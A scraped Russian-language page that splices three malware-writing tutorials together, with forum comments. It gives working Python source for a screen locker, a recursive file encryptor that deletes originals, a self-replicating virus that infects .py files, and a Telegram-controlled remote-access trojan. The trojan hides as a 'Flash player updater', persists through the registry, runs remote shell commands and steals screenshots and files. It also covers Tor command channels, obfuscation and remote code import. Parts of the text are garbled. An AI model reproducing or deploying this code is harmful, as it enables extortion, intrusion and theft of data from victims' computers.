СЕГОДНЯ СОЗДАДИМ ТРИ ПРОГРАММЫ: ЛОКЕР, ШИФРОВАЛЬЩИК, ВИРУС.
Почему кому-то может прийти в голову писать малварь на Python? Мы сделаем это, чтобы изучить общие принципы вредоносостроения, а заодно вы попрактикуетесь в использовании этого языка и сможете применять полученные знания в других целях. К тому же вредонос на Python таки попадается в дикой природе, и далеко не все антивирусы обращают на него внимание.
Чаще всего Python применяют для создания бэкдоров в софте, чтобы загружать и исполнять любой код на зараженной машине. Так, в 2017 году сотрудники компании Dr.Web обнаружили Python.BackDoor.33, а 8 мая 2019 года был замечен Mac.BackDoor.Siggen.20. Другой троян —RAT Python крал пользовательские данные с зараженных устройств и использовал Telegram в качестве канала передачи данных.
Мы же создадим три программы:
- Локер, который будет блокировать доступ к компьютеру, пока пользователь не введет правильный пароль.
- Шифровальщик, который будет обходить директории и шифровать все лежащие в них файлы.
- Вирус, который будет распространять свой код, заражая другие программы на Python.
Как написать локер, шифровальщик и вирус на Python
Настройка среды
Итак, первым делом нам, конечно, понадобится сам Python, причем третьей версии. Не буду детально расписывать, как его устанавливать, и сразу отправлю вас скачивать бесплатную книгу «Укус питона» ( PDF ). В ней вы найдете ответ на этот и многие другие вопросы, связанные с Python.
Вирус на python
Дополнительно установим несколько модулей, которые будем использовать:
pip install pyAesCrypt pip install pyautogui pip install tkinter
На этом с подготовительным этапом покончено, можно приступать к написанию кода.
Создание локера
Идея — создаем окно на полный экран и не даем пользователю закрыть его.
Импорт библиотек:
import pyautogui from tkinter import Tk, Entry, Label from pyautogu соi import click, moveTo from time import sleep
Теперь возьмемся за основную часть программы.
# Создаем окно root = Tk() # Вырубаем защиту левого верхнего угла экрана pyautogui.FAILSAFE = False # Получаем ширину и высоту окна width = root.winfo_screenwidth() height = root.winfo_screenheight() # Задаем заголовок окна root.title(‘From «hacker» with love’) # Открываем окно на весь экран root.attributes(«-fullscreen», True) # Создаем поле для ввода, задаем его размеры и расположение entry = Entry(root, font=1) entry.place(width=150, height=50, x=width/2-75, y=height/2-25) # Создаем текстовые подписи и задаем их расположение label0 = Label(root, text=»╚(•⌂•)╝ Locker by hacker (╯°□°)╯︵ ┻━┻», font=1) label0.grid(row=0, column=0) label1 = Label(root, text=»Пиши пароль и жми Ctrl + C», font=’Arial 20′) label1.place(x=width/2-75-130, y=height/2-25-100) # Включаем постоянное обновление окна и делаем паузу root.update() sleep(0.2) # Кликаем в центр окна click(width/2, height/2) # обнуляем ключ k = False # Теперь непрерывно проверяем, не введен ли верный ключ # Если введен, вызываем функцию хулиганства while not k: on_closing()
Здесь pyautogui.FAILSAFE = False — защита, которая активируется при перемещении курсора в верхний левый угол экрана. При ее срабатывании программа закрывается. Нам это не надо, поэтому вырубаем эту функцию.
Чтобы наш локер работал на любом мониторе с любым разрешением, считываем ширину и высоту экрана и по простой формуле вычисляем, куда будет попадать курсор, делаться клик и так далее. В нашем случае курсор попадает в центр экрана, то есть ширину и высоту мы делим на два. Паузу (sleep) добавим для того, чтобы пользователь мог ввести код для отмены.
Сейчас мы не блокировали ввод текста, но можно это сделать, и тогда пользователь никак от нас не избавится. Для этого напишем еще немного кода. Не советую делать это сразу. Сначала давайте настроим программу, чтобы она выключалась при вводе пароля. Но код для блокирования клавиатуры и мыши выглядит вот так:
import pythoncom, pyHook hm = pyHook.HookManager() hm.MouseAll = uMad hm.KeyAll = uMad hm.HookMouse() hm.HookKeyboard() pythoncom.PumpMessages()
Создадим функцию для ввода ключа:
def callback(event): global k, entry if entry.get() == «hacker»: k = True
Тут всё просто. Если ключ не тот, который мы задали, программа продолжает работать. Если пароли совпали — тормозим.
Последняя функция, которая нужна для работы окна-вредителя:
def on_closing(): # Кликаем в центр экрана click(width/2, height/2) # Перемещаем курсор мыши в центр экрана moveTo(width/2, height/2) # Включаем полноэкранный режим root.attributes(«-fullscreen», True) # При попытке закрыть окно с помощью диспетчера задач вызываем on_closing root.protocol(«WM_DELETE_WINDOW», on_closing) # Включаем постоянное обновление окна root.update() # Добавляем сочетание клавиш, которые будут закрывать программу root.bind(», callback)
На этом наш импровизированный локер готов.
Создание шифровальщика
Этот вирус мы напишем при помощи только одной сторонней библиотеки — pyAesCrypt. Идея — шифруем все файлы в указанной директории и всех директориях ниже. Это важное ограничение, которое позволяет не сломать операционку. Для работы создадим два файла — шифратор и дешифратор. После работы исполняемые файлы будут самоудаляться.
Сначала запрашиваем путь к атакуемому каталогу и пароль для шифрования и дешифровки:
direct = input(«Напиши атакуемую директорию: «) password = input(«Введи пароль: «)
Дальше мы будем генерировать скрипты для шифрования и дешифровки. Выглядит это примерно так:
with open(«Crypt.py», «w») as crypt: crypt.write(»’ текст программы »’)
Переходим к файлам, которые мы будем использовать в качестве шаблонов. Начнем с шифратора. Нам потребуются две стандартные библиотеки:
import os import sys
Пишем функцию шифрования (все по мануалу pyAesCrypt):
def crypt(file): import pyAesCrypt print(‘-‘ * 80) # Задаем пароль и размер буфера password = «»’+str(password)+»'» buffer_size = 512*1024 # Вызываем функцию шифрования pyAesCrypt.encryptFile(str(file), str(file) + «.crp», password, buffer_size) print(«[Encrypt] ‘»+str(file)+».crp'») # Удаляем исходный файл os.remove(file)
Вместо str(password) скрипт-генератор вставит пароль.
Важные нюансы. Шифровать и дешифровать мы будем при помощи буфера, таким образом мы избавимся от ограничения на размер файла (по крайней мере, значительно уменьшим это ограничение). Вызов os.remove(file) нужен для удаления исходного файла, так как мы копируем файл и шифруем копию. Можно настроить копирование файла вместо удаления.
Теперь функция, которая обходит папки. Тут тоже ничего сложного.
def walk(dir): # Перебор всех подпапок в указанной папке for name in os.listdir(dir): path = os.path.join(dir, name) # Если это файл, шифруем его if os.path.isfile(path): crypt(path) # Если это папка, рекурсивно повторяем else: walk(path)
В конце добавим еще две строки. Одна для запуска обхода, вторая — для самоуничтожения программы.
walk(«»’+str(direct)+»'») os.remove(str(sys.argv[0]))
Здесь снова будет подставляться нужный путь.
Вот весь исходник целиком.
import os import sys def crypt(file): import pyAesCrypt print(‘-‘ * 80) password = «‘»+str(password)+»‘» buffer_size = 512*1024 pyAesCrypt.encryptFile(str(file), str(file) + «.crp», password, buffer_size) print(«[Encrypt] ‘»+str(file)+».crp'») os.remove(file) def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): crypt(path) else: walk(path) walk(«»’+str(direct)+»'») print(‘-‘ * 80) os.remove(str(sys.argv[0]))
Теперь «зеркальный» файл. Если в шифровальщике мы писали encrypt, то в дешифраторе пишем decrypt. Повторять разбор тех же строк нет смысла, поэтому сразу финальный вариант.
import os import sys # Функция расшифровки def decrypt(file): import pyAesCrypt print(‘-‘ * 80) password = «»’+str(password)+»'» buffer_size = 512 * 1024 pyAesCrypt.decryptFile(str(file), str(os.path.splitext(file)[0]), password, buffer_size) print(«[Decrypt] ‘» + str(os.path.splitext(file)[0]) + «‘») os.remove(file) # Обход каталогов def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) if os.path.isfile(path): try: decrypt(path) except Error: pass else: walk(path) walk(«»’+str(direct)+»'») print(‘-‘ * 80) os.remove(str(sys.argv[0]))
Итого 29 строк, из которых на дешифровку ушло три. На случай, если какой-то из файлов вдруг окажется поврежденным и возникнет ошибка, пользуемся отловом исключений (try…except). То есть, если не получиться расшифровать файл, мы его просто пропускаем.
Создание вируса
Здесь идея в том, чтобы создать программу, которая будет заражать другие программы с указанным расширением. В отличие от настоящих вирусов, которые заражают любой исполняемый файл, наш будет поражать только другие программы на Python.
На этот раз нам не потребуются никакие сторонние библиотеки, нужны только модули sys и os. Подключаем их.
import sys import os
Создадим три функции: сообщение, парсер, заражение.
Функция, которая сообщает об атаке:
def code(void): print(«Infected»)
Сразу вызовем ее, чтобы понять, что программа отработала:
code(None)
Обход директорий похож на тот, что мы делали в шифровальщике.
def walk(dir): for name in os.listdir(dir): path = os.path.join(dir, name) # Если нашли файл, проверяем его расширение if os.path.isfile(path): # Если расширение — py, вызываем virus if (os.path.splitext(path)[1] == «.py»): virus(path) else: pass else: # Если это каталог, заходим в него walk(path)
В теории мы могли бы таким же образом отравлять исходники и на других языках, добавив код на этих языках в файлы с соответствующими расширениями. А в Unix-образных системах скрипты на Bash, Ruby, Perl и подобном можно просто подменить скриптами на Python, исправив путь к интерпретатору в первой строке.
Вирус будет заражать файлы «вниз» от того каталога, где он находится (путь мы получаем, вызвав os.getcwd()).
В начале и в конце файла пишем вот такие комментарии:
# START # # STOP #
Чуть позже объясню зачем.
Дальше функция, которая отвечает за саморепликацию.
def virus(python): begin = «# START #n» end = «# STOP #n» # Читаем атакуемый файл, назовем его copy with open(sys.argv[0], «r») as copy: # Создаем флаг k = 0 # Создаем переменную для кода вируса и добавляем пустую строку virus_code = «n» # Построчно проходим заражаемый файл for line in copy: # Если находим маркер начала, поднимаем флаг if line == begin: k = 1 # Добавляем маркер в зараженный код virus_code += begin # Если мы прошли начало, но не дошли до конца, копируем строку elif k == 1 and line != end: virus_code += line # Если дошли до конца, добавляем финальный маркер и выходим из цикла elif line == end: virus_code += end break else: pass # Снова читаем заражаемый файл with open(python, «r») as file: # Создаем переменную для исходного кода original_code = «» # Построчно копируем заражаемый код for line in file: original_code += line # Если находим маркер начала вируса, останавливаемся и поднимаем флаг vir if line == begin: vir = True break # Если маркера нет, опускаем флаг vir else: vir = False # Если флаг vir опущен, пишем в файл вирус и исходный код if not vir: with open(python, «w») as paste: paste.write(virus_code + «nn» + original_code) else: pass
Теперь, думаю, стало понятнее, зачем нужны метки «старт» и «стоп».
Они обозначают начало и конец кода вируса. Сперва мы читаем файл и построчно просматриваем его. Когда мы наткнулись на стартовую метку, поднимаем флаг. Пустую строку добавляем, чтобы вирус в исходном коде начинался с новой строки. Читаем файл второй раз и записываем построчно исходный код.
Последний шаг — пишем вирус, два отступа и оригинальный код. Можно поиздеваться и записать его как-нибудь по-особому — например, видоизменить все выводимые строки.
Создание исполняемого файла
Как запустить вирус, написанный на скриптовом языке, на машине жертвы? Есть два пути: либо как-то убедиться, что там установлен интерпретатор, либо запаковать созданный нами шифровальщик вместе со всем необходимым в единый исполняемый файл. Этой цели служит утилита PyInstaller. Вот как ей пользоваться.
Устанавливаем
pip install PyInstaller
И вводим команду
PyInstaller «имя_файла.py» —onefile —noconsole
Немного ждем, и у нас в папке с программой появляется куча файлов. Можете смело избавляться от всего, кроме экзешников, они будет лежать в папке dist.
Итак, мы написали три вредоносные программы: локер, шифровальщик и вирус, использовав скриптовый язык, и упаковали их при помощи PyInstaller.
Безусловно, наш вирус — не самый страшный на свете, а локер и шифровальщик еще нужно как-то доставлять до машины жертвы. При этом ни одна из наших программ не общается с Chttps://teletype.in/@seccurity_testing/yj9QxNc2n8J» target=»_blank»]teletype.in[/mask_link]
Мелкая питонячая радость #12: вирусы и зловредное ПО на Python
В мире существует много явлений с сомнительной и спорной репутацией. Например, сюда можно отнести хоккей на траве, датскую квашеную селедку и мужские трусы-стринги. А еще к этому списку можно с абсолютной уверенностью добавить вирусы на Python.
Трудно сказать, что толкает людей на создание вредоносного ПО на этом языке программирования. Обилие выпускников “шестимесячных курсов Django-программистов” с пробелами в базовых технических познаниях? Желание нагадить ближнему без необходимости учить C/C++? Или благородное желание разобраться в технологиях виримейкерства путем создания небольших прототипов вирусов на удобном языке?
Если отбросить часть иронии…
… и вникнуть в ситуацию, то становится видно, что адекватные питонячие зловреды не только существуют, но и успешно заражают компьютеры. Их мало, они относительно легко вычисляются антивирусами (полиморфный код в питонячих вирусах невозможен, об этом поговорим чуть ниже), но и общая компьютерная грамотность среднего пользователя невысока, что дает этим вирусам шанс на выживание и успешное заражение.
Есть продвинутый бэкдор Seaduke, родившийся где-то на территории России и принадлежащий к семейству Duke. По этому семейству вирусов есть подробный доклад. Исходные тексты Seaduke удалось восстановить, текст доступен для прочтения на github.
Есть PWOBot, на протяжении нескольких лет успешно заражавший компы в Восточной Европе (преимущественно в Польше). Есть PoetRAT, заразивший в начале этого года государственные компьютеры в Азербайджане. PoetRAT — вполне зрелый образец вредоносного кода, способный воровать учетки, делать снимки с камеры и логировать нажатия клавиш. Есть еще несколько десятков примеров вирусов на Python, которые успешно расселились по интернету в достаточном количестве, чтобы попасться в поле зрения кибербезопасников.
Как нам теперь становится ясно, тема питонячих вирусов — совсем не такая дохлая, как кажется на первый взгляд. Давайте вместе посмотрим на то, как и с какими библиотеками пишутся зловреды на Python.
Упаковка в бинарники
Поскольку Python — язык интерпретируемый, это создает некоторые трудности при дистрибуции зловредов: нужно, чтобы в ОС был интерпретатор нужной версии, а все необходимые библиотеки были установлены в правильные места на диске. Все это сильно мешает типу программ, который должен сам себя устанавливать и запускать. Поэтому питонячие вирусы, направленные на заражение клиентских машин (а ведь можно еще и заражать серверы) принято упаковывать в бинарный исполняемый файл, который содержит в себе либо интерпретатор с библиотеками в архиве, либо двоичную программу, собранную на основе Python кода.
- https://www.py2exe.org/ — старый классический способ упаковки питонячих программ в бинарники. Он создает архив, в котором лежит интерпретатор, ваш код + все необходимые зависимости.
- https://nuitka.net/ — более хитрый способ сборки бинарников. Этот инструмент транслирует Python код в С и потом компилирует его.
Антивирусы умеют распознавать шаблоны и типичные структуры вирусов, так они вычисляют зловредные программы по их типичным последовательностям байтов. Чтобы скрыться от антивируса, виримейкеры делаю свой код самомодифицируемым — при каждой новой установке зловред переписывает свой код и порождает все новые и новые варианты двоичного файла, которые уже не опознаются антивирусами. Такой подход называется полиморфным кодированием и его невозможно применять в случае, если вы работаете с Python кодом, транслируемым в бинарник. Лишенные основного инструменты противостояния антивирусам, питонячие зловреды весьма уязвимы даже перед самыми простыми антивирусными программами.
Но на многих компах сегодня нет ативирусов, поэтому вирусы на Python способы выживать и активно размножаться.
А шо вирусу делать?
Зловредам надо как-то общаться со своими владельцами, получать от них команды и обновления, передавать им добытые данные. Без обратной связи вирусы могут только мелко хулиганить.
Для общения нужен какой-то удаленный адрес, с которым осуществляется обмен информацией. Регать домен и покупать сервер — палевно: владельца вируса можно легко вычислить. Конечно, есть всякие анонимные хостинги и регистраторы доменов сомнительной честности, но и с ними риски не минимальны.
Более безопасный вариант — мессенджеры (IRC, Jabber) и, конечно же, Tor.
Для обмена данными с хозяевами вирусы используют библиотеку torpy. В ней все предельно просто — заводишь список адресов (на всякий случай, вдруг один из хостов отвалится), коннектишься к доступным и получаешь апдейты к вирусу или команды.
from torpy import TorClient hostname = ‘ifconfig.me’ # It’s possible use onion hostname here as well tor = TorClient() # Choose random guard node and create 3-hops circuit with tor.create_circuit(3) as circuit: # Create tor stream to host with circuit.create_stream((hostname, 80)) as stream: # Now we can communicate with host stream.send(b’GET / HTTP/1.0rnHost: %srnrn’ % hostname.encode()) recv = stream.recv(1024)
Работа с tor c этой либой проста, не сложнее requests.
А шо бы своровать?
Воровство персональных данных — важная часть жизни любого вируса. Вопрос поиска и парсинга различных файлов с паролями перед программистами не стоит — это легко делается штатными средствами Python. Перехват нажатий клавиш в ОС — сложнее, но это можно нагуглить. Для работы с вебкой — OpenCV. Единственное, что вызывает вопросы — как делать скриншоты из Python?
На выручку приходит pyscreenshot. Предвосхищая ваши вопросы, скажу, что магии внутри библиотеки нет — она не умеет из Питона читать буфер экрана. В основе этого пакета лежит коллекция костылей и подпорок, которые определяют тип ОС, в которой работает ваша программа и дальше идет поиск внутри операционки доступных инструментов для снятия скриншотов.
# pyscreenshot/examples/grabfullscreen.py «Grab the whole screen» import pyscreenshot as ImageGrab # grab fullscreen im = ImageGrab.grab() # save image file im.save(«fullscreen.png»)
Звучит это все очень ненадежно, но библиотека адекватно справляется со снятием изображений с экрана на всех популярных платформах.
Серверная токсичность
Бэкдоры на Python для серверов тоже встречаются в природе. Они тоже способны гадить в вашей системе, но механизмы работы у них уже другие.
Например, питонячему серверному вирусу не обязательно упаковываться в бинарник — интерпретатор Python есть на многих серваках: можно запускаться на нем. Поэтому авторы зловредов для серверного применения вместо упаковки кода используют обфускацию — запутывание исходников так, чтобы их невозможно было прочитать.
Один из самых популярных инструментов для обфускации — pyarmor. Одна команда легко превращает ваш код в нечитаемую хрень и усложняет понимание текста программы. Тема обфускации кода вообще сама по себе очень интересна, для углубления познаний по этой теме рекомендую ознакомиться с книгой. Pyarmor пригодится не только авторам вирусов, но и тем, кто хочеть по каким-то причинам защитить исходники от легкого прочтения.
Вторая вещь, на которую нужно обратить внимание авторам серверного вредоносного ПО — наличие библиотек.
Конечно, можно весь код засунуть в один файл — но тогда он будет очень большим. Второй вариант — exec()/eval() и чтение кода с удаленного сервера: этот подход явно лучше! Но самый простой в реализации способ — использование готовой библиотеки httpimport для удаленного импорта питонячих пакетов.
>>> with httpimport.remote_repo([‘package1′,’package2′,’package3’], ‘http://my-codes.example.com/python_packages’): . import package1 .
>>> with httpimport.github_repo(‘operatorequals’, ‘covertutils’, branch = ‘master’): . import covertutils . # Also works with ‘bitbucket_repo’ and ‘gitlab_repo’
Вот и все
Это далеко не полный список того, что используют авторы зловредов на Python. Описанные выше инструменты и подходы научат вас тому, как мыслят вирусописатели и чем могут быть опасны подозрительные питонячие скрипты.
Внимательно относитесь к малоизвестным зависимостям и пакетам, которые ставите в свои проекты. Не доверяйте обфусцированному коду и всегда просматривайте код малознакомых библиотек перед запуском.
На сегодня все, прошлые питонячие радости смотрите по ссылке.
Источник: habr.com
Статья Пишем малварь на Python, Часть I, Telegram-bot
Статья для участия в конкурсе на codeby
Приветствую всех обитателей формура и просто заблудших душ. Python — несомненно, один из самых простых в изучении и использовании язык программирования. В этой серии статей я хочу показать приёмы написания вредоносных программ на Python 3, в целях саморазвития, естественно.
[ WARNING ]
Статья несёт лишь познавательный характер и призывает читателей расширять свой кругозор. Используйте свою силу во благо. Никогда не переходите на тёмную сторону!
[ WARNING ]
В рамках этой статьи будут реализованы слудющие вещи:
- автозагрузка
- связь с компьютером жертвы посредством telegram-бота на его стороне
- компиляция в независимый от Python исполняемый файл
Получаем телеграм-бота
Резонный вопрос: «почему телеграм бот? Сделай нормальный вирус.» Ответ довольно прост: телеграм не воспринимается антивирусными системами как вредонос, у него есть шифрование, нам не нужен выделенный ip для управления, рулить ботом/ботами можно в чате сразу нескольким людям, а ещё он просто классный.
Создаём нового бота ( /newbot ), придумываем имя и ссылку. Взамен получаем токен для управления.
Далее можно разрешить входить в групповые чаты ( /setjoingroups ) и провести дальнейшую настройку. Бот будет доступен по выданной BotFather-ом ссылке.
Начинаем кодить
Каркас нашей программы будет выглядеть так:
# -*- coding: utf-8 -*- import os import sys import time import shutil import winreg import getpass import telepot import requests import win32api import winshell import threading import subprocess import encodings.idna # requests ругался на отсутствие idna-колировок, решается импортом from PIL import ImageGrab from telepot.loop import MessageLoop class Pyjan: def __init__(self): # При создании экземпляра класса в __init__ автоматически запустатся нужные нам функции функции класса try: if sys.argv[1] == «—quiet»: # Если программа запущена с ключом, значит она уже в автозапуске pass except IndexError: self.set_autorun() # Если программа запущена не из автозапуска, то добавляем MessageLoop(bot, self.bot_handler).run_as_thread() # Обработчик сообщений в отдельном потоке print(«[*] Bot connected.») for chat in trusted_chats: bot.sendMessage(chat, «[*] Bot connected.») for user in trusted_users: bot.sendMessage(user, «[*] Bot connected.») while True: # Не даём программе закрыться time.sleep(10) def set_autorun(self): pass def bot_handler(self, message): pass if __name__ == ‘__main__’: token = » » # токен бота bot = telepot.Bot(token) trusted_users = [] # Доверенные пользователи, которые смогут общаться с ботом trusted_chats = [] # Доверенные группы trojan = Pyjan() # Создаём эекемпляр класса
Далее все новые функции программы будет достаточно просто добавить как функции класса вируса или как отдельные модули
Автозагрузка
Добавление в автозагрузку реализовано следующим образом: если программа запущена без ключей, то запускаем функцию set_autorun. Запуск с ключом ( —quiet в данном случае) означает то, что программа была запущена из автостарта. (метод описан в начале функции __init__). Взглянем на set_autorun:
def set_autorun(self): application = sys.argv[0] start_path = os.path.join(os.path.abspath(os.getcwd()), application) # Получаем наше местонахождение copy2_path = «<>\<>».format(winshell.my_documents(), «Adobe flash player») copy2_app = os.path.join(copy2_path, «Flash player updater.exe») if not os.path.exists(copy2_path): os.makedirs(copy2_path) win32api.CopyFile(start_path, copy2_app) # Копируем приложение в папку с незамысловатым названием win32api.SetFileAttributes(copy2_path, 2) # Делаем папку невидимой os.utime(copy2_app, (1282372620, 1282372620)) # Меняем дату создания папки os.utime(copy2_path, (1282372620, 1282372620)) # и программы startup_val = r»SoftwareMicrosoftWindowsCurrentVersionRun» key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS)) winreg.SetValueEx(key2change, «Flash player updater», 0, winreg.REG_SZ, start_path+» —quiet») # Добавляем программу в автозагрузку с помощью ключа реестра
Здесь программа копирует себя в произвольную папку, делает её невидимой и сменяет дату создания. Путь до автостарта добавляется с ключом —quiet, в нашем случае это означает, что программа не будет лишний раз добавлять себя в автозагрузку.
Если скопировать программу в папку, не принадлежащую текущему пользователю, то нас встретит UAC, а антивирус не позволит завершить копирование. Стоит так же заметить, что хоть мы и сделали папку с «флеш плеером» невидимой, в настройках можно просматривать скрытые папки, имейте это ввиду:
Telegram bot
Вернёмся к нашему боту. В слушателе сообщений bot_handler нужно ограничить доступ к вводу команд до определённого круга лиц и чатов по их уникальным id ( которые мы добавили перед созданием объекта класса ). Так же нужно описать базовые команды, такие как загрузка/выгрузка файлов, запуск программ, исполнение консольных (cmd/powershell) утилит. Тут возможности бота ограничены лишь вашим воображением. Мой код:
def bot_handler(self, message): print(message) userid = message[«from»][«id»] chatid = message[«chat»][«id»] if userid in trusted_users or chatid in trusted_chats: # Если к боту обращаются доверенные лица — исполняем команду. try: # Если в сообщении нет текста, то возможно боту отправили файл args = message[«text»].split() except KeyError: args = [«»] if «document» in message: # Если это действительно файл, то загружаем его file_name = message[«document»][«file_name»] file_id = message[«document»][«file_id»] elif «photo» in message: file_id = message[«photo»][-1][«file_id»] print(message[«photo»]) file_name = «<>.jpg».format(file_id) file_path = bot.getFile(file_id)[‘file_path’] link = «https://api.telegram.org/file/bot<>/<>».format(token, file_path) File = requests.get(link, stream=True).raw print(link) save_path = os.path.join(os.getcwd(), file_name) with open(save_path, «wb») as out_file: shutil.copyfileobj(File, out_file) bot.sendMessage(message[«chat»][«id»], «[*] file uploaded») if args[0] == «/help»: s = «»»/help — помощь /cmd — выполнить cmd команду, требующую возвращения результата /run — запустить программу, не требующую возвращения результатов /pwd — текущая дериктория /ls — показать файлы в директории /cd — сменить дерикторию /screen — сделать скриншот экрана /download — скачать файл с компьютера «»» bot.sendMessage(message[«chat»][«id»], str(s)) elif args[0] == «/cmd»: try: s = «[*] <>».format(subprocess.check_output(‘ ‘.join(args[1:]), shell=True)) except Exception as e: s = «[!] <>».format(e) bot.sendMessage(message[«chat»][«id»], «<>».format(str(s))) elif args[0] == «/run»: try: s = «[*] Program started» subprocess.Popen(args[1:], shell=True) except Exception as e: s = «[!] <>».format(str(e)) bot.sendMessage(message[«chat»][«id»], «<>».format(str(s))) elif args[0] == «/pwd»: try: s = os.path.abspath(os.getcwd()) except Exception as e: s = e bot.sendMessage(message[«chat»][«id»], «[*] <>».format(str(s))) elif args[0] == «/ls»: if len(args) == 1: pth = «.» else: pth = args[1] s = ‘n’.join(os.listdir(path=pth)) bot.sendMessage(message[«chat»][«id»], «[*] <>».format(str(s))) elif args[0] == «/cd»: path = os.path.abspath(args[1]) os.chdir(path) bot.sendMessage(message[«chat»][«id»], «[*] changing directory to <> . «.format(str(path))) elif args[0] == «/screen»: image = ImageGrab.grab() image.save(«pic.jpg») bot.sendDocument(message[«chat»][«id»], open(«pic.jpg», «rb»)) os.remove(«pic.jpg») elif args[0] == «/download»: File = ‘ ‘.join(map(str, args[1:])) try: bot.sendDocument(message[«chat»][«id»], open(File, «rb»)) except Exception: bot.sendMessage(message[«chat»][«id»], «[!] you must select the file») elif args[0] == «»: pass else: bot.sendMessage(message[«chat»][«id»], «[*] /help для вывода команд») else: bot.sendMessage(message[«chat»][«id»], «Уходи.»)
Исходники будут лежать на github.
Компиляция
Для компиляции в единый исполняемый файл нам понадобится windows с
Ссылка скрыта от гостей
Ссылка скрыта от гостей
, и бесчисленное колличество модулей, которые нужно установить самостоятельно
telepot winshell pillow requests wheel pycrypto
Если вы не собираетесь обфуцировать свой код, то pycrypto вам не понадобится. Иначе же для его установки вам нужен
Ссылка скрыта от гостей
Что бы скомпилировать файл, вводим в терминале pyinstaller -F —key codebynet —icon flash.ico —noconsole flashplayer.py
-F компилировать в единый .exe файл
—key codebynet использовать ключ шифрования codebynet
—icon flash.ico иконка для исполняемого файла в ico-формате
—noconsole не показывать консоль во время работы программы
Последние обновления PyCrypto датируются 2014 годом. Не мудрено, что на новым версиях Python могут выскакивать ошибки при установке. Мне, к сожалению, не помогли бесчисленные советы о установке PyCrypto, но это не повлияло на детект атнивирусом
После запуска программы на стороне жертвы ловим сессию, радуемся жизни.
Весь исходный код, как уже было сказано выше, будет лежать тут.
На этом я хотел бы закончить эту вводную статью. Всем до свидания и удачного кодинга!
Последнее редактирование: 02.11.2017
Dr.Lafa
Well-known member
Green Team
ghost
Grey Team
12.05.2016 1 646 3 284
Как всегда ТС
Простенько и со вкусом
SooLFaa
Platinum
15.07.2016 899 1 576
Опять черные цвета. Тыкните в него правило оформления статей. В целом неплохо но не заведется на большинстве тачек. Полный идиотизм писать для виндовые тачек на питоне. С апи телеги можно работать на любом языке.
Dr.Lafa
Green Team
30.12.2016 507 1 065
Опять черные цвета. Тыкните в него правило оформления статей.
Исправил цвета
В целом неплохо но не заведется на большинстве тачек.
Не могу сказать про большинство тачек, но на моей win 7 + Kaspersky 2016 с последними обновлениями завёлся. В win 8/10, думаю, нет большой разницы.
Полный идиотизм писать для виндовые тачек на питоне. С апи телеги можно работать на любом языке.
Цель статьи и будущих статей данного цикла как раз показать, что хотя бы простые вредоносы на Python не такой идиотизм, как может показаться на первый взгляд. Хотя в этом действительно есть узкие места по сравнению, например, с Си.
Bringer_the_Light
Green Team
02.03.2017 109 127
Спасибо,очень интересная и самое главное актуальная в силу популярности телеги статья.
Мой респект тебе!))
SooLFaa
Platinum
15.07.2016 899 1 576
Не могу сказать про большинство тачек, но на моей win 7 + Kaspersky 2016 с последними обновлениями завёлся. В win 8/10, думаю, нет большой разницы.
Цель статьи и будущих статей данного цикла как раз показать, что хотя бы простые вредоносы на Python не такой идиотизм, как может показаться на первый взгляд. Хотя в этом действительно есть узкие места по сравнению, например, с Си.
Тогда умничка.
Последнее редактирование модератором: 02.11.2017
Енот Погромист
Держи друже, дарю
Будет круто, если ты продолжишь мое дело)))
Последнее редактирование модератором: 04.11.2017
Flankt
One Level
25.01.2017 5 4
Малварь с зависимостью от пайтона – ещё то извращение)
Akroll
Да чё вы пристали к этому питону?
Автор просто показал как пример.
Статья отличная. Она носит информативный характер, а не полный мануал для будущих ботоводов-школьников.
Gartagrein
А можно поинтересоваться, trusted_users = [что и как суда писать] и телеграмм ID вписывал и логин через собачку и ник но все равно бот упорно кричит уходи
Dr.Lafa
Green Team
30.12.2016 507 1 065
А можно поинтересоваться, trusted_users = [что и как суда писать] и телеграмм ID вписывал и логин через собачку и ник но все равно бот упорно кричит уходи
Сюда ID юзера. Должен высвечиваться в терминале с запущенным ботом, когда ты ему пишешь.
Gartagrein
Сюда ID юзера. Должен высвечиваться в терминале с запущенным ботом, когда ты ему пишешь.
Вложения
Screenshot_1.png
1,9 КБ · Просмотры: 343
Screenshot_2.png
1,4 КБ · Просмотры: 378
Dr.Lafa
Green Team
30.12.2016 507 1 065
Что в терминале выдаёт, когда боту пишешь?
Gartagrein
Что в терминале выдаёт, когда боту пишешь?
Уходи пишет если ты про телеграмм
Что в терминале выдаёт, когда боту пишешь?
Не могу понять о каком терминале идёт речь
Dr.Lafa
Green Team
30.12.2016 507 1 065
Не могу понять о каком терминале идёт речь
в котором ты запускаешь бота, там отладочная инфа. Либо перепиши скрипт, что бы её выводило в сообщении
Gartagrein
в котором ты запускаешь бота, там отладочная инфа. Либо перепиши скрипт, что бы её выводило в сообщении
# -*- coding: utf-8 -*- import os import sys import time import shutil import winreg import getpass import telepot import requests import win32api import winshell import threading import subprocess import encodings.idna # requests ругался на отсутствие idna-колировок, решается импортом from PIL import ImageGrab from telepot.loop import MessageLoop class Pyjan: def __init__(self): try: if sys.argv[1] == «—quiet»: pass except IndexError: self.set_autorun() # Если программа запущена не из автозапуска, то добавляем MessageLoop(bot, self.bot_handler).run_as_thread() print(«[*] Bot connected.») for chat in trusted_chats: bot.sendMessage(chat, «[*] Bot connected.») for user in trusted_users: bot.sendMessage(user, «[*] Bot connected.») while True: time.sleep(10) def set_autorun(self): application = sys.argv[0] print(application) start_path = os.path.join(os.path.abspath(os.getcwd()), application) # Получаем наше местонахождение copy2_path = «<>\<>».format(winshell.my_documents(), «Adobe flash player») copy2_app = os.path.join(copy2_path, «Flash player updater.exe») if not os.path.exists(copy2_path): os.makedirs(copy2_path) win32api.CopyFile(start_path, copy2_app) # Копируем приложение в папку с незамысловатым названием win32api.SetFileAttributes(copy2_path, 2) # Делаем папку невидимой os.utime(copy2_app, (1282372620, 1282372620)) # Меняем дату создания папки os.utime(copy2_path, (1282372620, 1282372620)) # и программы startup_val = r»SoftwareMicrosoftWindowsCurrentVersionRun» key2change = winreg.OpenKey(winreg.HKEY_CURRENT_USER, startup_val, 0, winreg.KEY_ALL_ACCESS) winreg.SetValueEx(key2change, ‘Flash player updater’, 0, winreg.REG_SZ, start_path+» —quiet») # Добавляем программу в автозагрузку с помощью ключа реестра def bot_handler(self, message): print(message) userid = message[«from»][«id»] chatid = message[«chat»][«id»] if userid > trusted_users or chatid > trusted_chats: try: args = message[«text»].split() except KeyError: args = [«»] if «document» in message: file_id = 